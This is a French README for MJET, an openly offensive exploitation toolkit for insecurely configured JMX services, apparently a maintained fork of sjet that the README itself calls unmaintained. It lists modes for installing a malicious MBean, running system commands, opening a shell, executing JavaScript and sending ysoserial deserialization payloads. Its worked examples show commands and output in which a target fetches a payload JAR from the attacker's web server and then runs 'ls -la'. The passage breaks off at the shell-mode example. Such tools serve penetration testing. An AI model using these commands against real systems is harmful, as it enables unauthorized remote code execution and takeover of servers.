MJET par MOGWAI LABS

Kit d'exploitation JMX de MOGWAI LABS

MJET est un fork de sjet, qui a été développé par siberas mais n'est plus activement maintenu. MJET est maintenu par l'équipe de MOGWAI LABS, qui a également fourni la majeure partie du code original de sjet.

MJET permet d'exploiter facilement des services JMX configurés de manière non sécurisée. Des informations complémentaires sont disponibles ici et ici.

!!! Important : Ce projet n'est plus maintenu

Ce dépôt n'est plus activement maintenu. Nous recommandons d'utiliser qtcs beanshooter à la place.

Prérequis

• Jython 2.7
• Ysoserial (pour exploiter les vulnérabilités de désérialisation via JMX)
• opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (pour prendre en charge le protocole de message JMX alternatif (JMXMP))

Utilisation

MJET implémente une interface CLI (en utilisant argparse) :

jython mjet.py targetHost targetPort MODE password (modeOptions)

Où

• targetHost - l'adresse IP de la cible
• targetPort - le port de la cible sur lequel JMX est exécuté
• MODE - le mode du script
• modeOptions - les options du mode sélectionné

Prise en charge de l'authentification (si l'authentification JMX est activée) :

• --jmxrole - le nom d'utilisateur
• --jmxpassword - le mot de passe

Autres arguments facultatifs :

• --jmxmp - Utilise JMX-MP (nécessite le chargement d'un JAR supplémentaire)
• --localhost_bypass - port du service pour le proxy dans le contournement localhost
• --shell - Utilise le shell défini
• --rmiObjectName - nom RMI du point de terminaison JMX

Modes et modeOptions

• install - installe la charge utile sur la cible actuelle
  • password - le mot de passe à définir après une installation réussie
  • payload_url - URL complète pour charger la charge utile
  • payload_port - port pour charger la charge utile
• uninstall - désinstalle la charge utile de la cible actuelle
• changepw - change le mot de passe sur une charge utile déjà déployée
  • password - le mot de passe pour accéder au MBean installé
  • newpass - le nouveau mot de passe
• command - exécute la commande CMD sur targetHost
  • password - le mot de passe pour accéder au MBean installé
  • CMD - la commande à exécuter
• shell - démarre un shell simple sur targetHost (avec les limitations de Runtime.exec() de Java)
  • password - le mot de passe pour accéder au MBean installé
• javascript - exécute un fichier javascript FILENAME sur targetHost
  • password - le mot de passe pour accéder au MBean installé
  • FILENAME - le javascript à exécuter
• deserialize - envoie une charge utile ysoserial à la cible
  • gadget - gadget tel que fourni par ysoserial, p. ex. CommonsCollections6
  • cmd - commande à exécuter
• webserver - exécute simplement le serveur web MLET
  • payload_url - URL complète pour charger la charge utile
  • payload_port - port pour charger la charge utile

Exemples

Installation du MBean de charge utile sur un service JMX vulnérable

Dans l'exemple suivant, le service JMX vulnérable s'exécute sur 10.165.188.23 port 2222, l'attaquant a l'adresse IP 10.165.188.1. Le service JMX se connectera au service web de l'attaquant pour télécharger le fichier JAR de la charge utile. MJET démarrera le service web nécessaire sur le port 8000.

Après l'installation réussie du MBean, le mot de passe par défaut est remplacé par celui fourni en ligne de commande (« super_secret »).

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Installation avec des identifiants JMX (nécessite également une configuration faible du serveur) :

h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Exécution de la commande 'ls -la' sur une cible Linux :

Après l'installation de la charge utile, nous pouvons l'utiliser pour exécuter des commandes système sur la cible.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Utilisation du mode shell

Si vous ne souhaitez pas charger Java pour chaque commande, vous pouvez utiliser le « mode shell » pour obtenir un shell de commandes limité.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret